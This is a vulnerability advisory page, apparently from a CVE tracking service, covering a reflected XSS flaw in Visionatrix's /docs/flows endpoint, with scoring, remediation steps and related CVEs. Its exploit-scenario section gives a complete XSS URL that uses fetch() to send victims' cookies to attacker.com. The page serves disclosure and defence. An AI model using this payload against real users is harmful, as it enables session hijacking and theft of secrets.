Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | The CVSS 8.8 score is justified by multiple high-risk factors: AV:N (network-accessible endpoint requiring no VPN/physical access), AC:L (no special conditions needed beyond standard HTTP), PR:N (no authentication required), and UI:R (requires user click—a realistic constraint for phishing-delivered XSS). The S:C (scope changed) component indicates cross-boundary impact affecting browser security domains. The vulnerability's real-world risk is CRITICAL for deployed instances: (1) It requires only a crafted URL—easily distributed via phishing emails, chat, or social engineering; (2) Impact is complete—exfiltration of secrets stored in the application (API keys, credentials, tokens) and full session takeover; (3) No mitigations exist in affected versions without patching; (4) Exploitation is trivial with no special tools required. The combination of high CVSS, unauthenticated access, and high-impact consequences (C:H for confidentiality, I:L and A:L for integrity/availability) makes this a critical priority. Absence of active exploitation data or known POC in public repositories does not reduce risk, as Reflected XSS exploits are straightforward to craft once the vulnerability is disclosed. |
| Exploit ScenarioDerived | An attacker discovers the /docs/flows XSS vulnerability and crafts a malicious URL such as: https://target-visionatrix-instance.com/docs/flows?query=<img%20src=x%20onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">. The attacker distributes this link via phishing email, Discord, Slack, or GitHub issues, claiming it's a documentation link or API reference. When a logged-in user clicks the link, the Swagger UI page renders with the injected JavaScript in the victim's browser context. The onerror event fires, executing arbitrary code that: (1) Exfiltrates session cookies and stored tokens to the attacker's server; (2) Makes API calls on behalf of the user to extract secrets, configuration, or models stored in the application; (3) Modifies application state (e.g., uploading malicious workflows, changing settings); (4) Establishes persistence by injecting additional payloads. The attack requires only a single user interaction (clicking a link) and results in full account/application compromise. No special tools, authentication, or technical expertise beyond basic URL encoding is needed to execute the exploit. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 15, 2026
Visionatrix versions 1.5.0 through 2.5.0 contain a Reflected XSS vulnerability in the /docs/flows endpoint that allows unauthenticated attackers to execute arbitrary JavaScript in users' browsers. The vulnerability stems from improper use of FastAPI's get_swagger_ui_html function with unsanitized user-controlled input, enabling session hijacking and exfiltration of application secrets. The CVSS 8.8 score reflects high severity due to network accessibility, low attack complexity, and no privilege requirements, though user interaction is required to trigger the exploit.
RemediationAI
Immediate patching is required: upgrade Visionatrix from any version in the range 1.5.0–2.5.0 to version 2.5.1 or later. This patch likely implements proper input sanitization (HTML encoding) or removes the use of unsanitized user input to get_swagger_ui_html(). Until patching is feasible: (1) Disable or restrict access to the /docs/flows endpoint via reverse proxy (nginx/Apache rules to block requests to /docs/flows); (2) Implement network-level access controls (firewall rules, WAF rules) to limit who can reach the application; (3) Use HTTP-only and Secure flags on session cookies to prevent JavaScript access (though this is only a partial mitigation for XSS-based exfiltration); (4) Monitor and rotate any secrets that may have been exposed if the application is already deployed. Apply version 2.5.1 as the definitive fix. Check vendor repository/release notes (likely GitHub Visionatrix project) for patch details and upgrade procedures.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Visionatrix is an AI media processing application built on ComfyUI that uses FastAPI for its REST API and Swagger UI for API documentation. The vulnerability exists in the /docs/flows endpoint implementation, which improperly invokes FastAPI's get_swagger_ui_html() function without sanitizing arguments before HTML generation. CWE-79 (Improper Neutralization of Input During Web Page Generation) identifies the root cause: the function was designed for internal, trusted use and does not perform HTML encoding or input validation on its parameters. When user-controlled data (such as query parameters or path segments) is passed directly to get_swagger_ui_html(), it renders unencoded into the HTML document, allowing attackers to inject malicious JavaScript that executes in the victim's browser context with full access to session cookies, localStorage, and application state.
Know when Python gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:L
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
Lifecycle Timeline
3DescriptionGitHub Advisory
Visionatrix is an AI Media processing tool using ComfyUI. In versions 1.5.0 to before 2.5.1, the /docs/flows endpoint is vulnerable to a Reflected XSS (Cross-Site Scripting) attack allowing full takeover of the application and exfiltration of secrets stored in the application. The implementation uses the get_swagger_ui_html function from FastAPI. This function does not encode or sanitize its arguments before using them to generate the HTML for the swagger documentation page and is not intended to be used with user-controlled arguments. Any user of this application can be targeted with a one-click attack that can takeover their session and all the secrets that may be contained within it. This issue has been patched in version 2.5.1.
Executive ViewAI
Visionatrix versions 1.5.0-2.5.0 contain a reflected cross-site scripting (XSS) vulnerability in the /docs/flows endpoint that allows unauthenticated attackers to inject malicious code into user browsers, potentially leading to session hijacking and unauthorized access to application secrets. This vulnerability requires user interaction but presents significant risk to any organization deploying affected versions, particularly those exposing Visionatrix to untrusted networks.
Apply vendor patch. If immediate patching is not feasible, implement network-level controls to restrict access to the /docs/flows endpoint, disable or remove Swagger UI documentation from production endpoints, and enforce Web Application Firewall (WAF) rules to block reflected XSS payloads in requests to that endpoint.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
EUVD-2025-18919
NVD
CVE.org
EPSS
GitHub
Exploit-DB